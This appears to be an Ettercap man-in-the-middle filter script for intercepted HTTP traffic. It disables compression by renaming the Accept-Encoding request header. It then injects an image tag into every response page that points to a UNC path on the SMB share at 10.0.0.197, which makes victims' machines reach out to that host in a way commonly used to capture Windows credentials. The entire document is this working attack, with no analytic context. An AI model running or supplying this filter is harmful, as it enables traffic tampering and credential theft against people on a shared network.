\uFEFFif (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-gnidocnE"); 
	  # note: replacement string is same length as original string
      msg("Encoding Taken Care Of...\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("head>", "head> <img src=\"\\\\10.0.0.197\\share\\pixel.gif\"> ");
msg("Replacement Filter Ran.\n");
}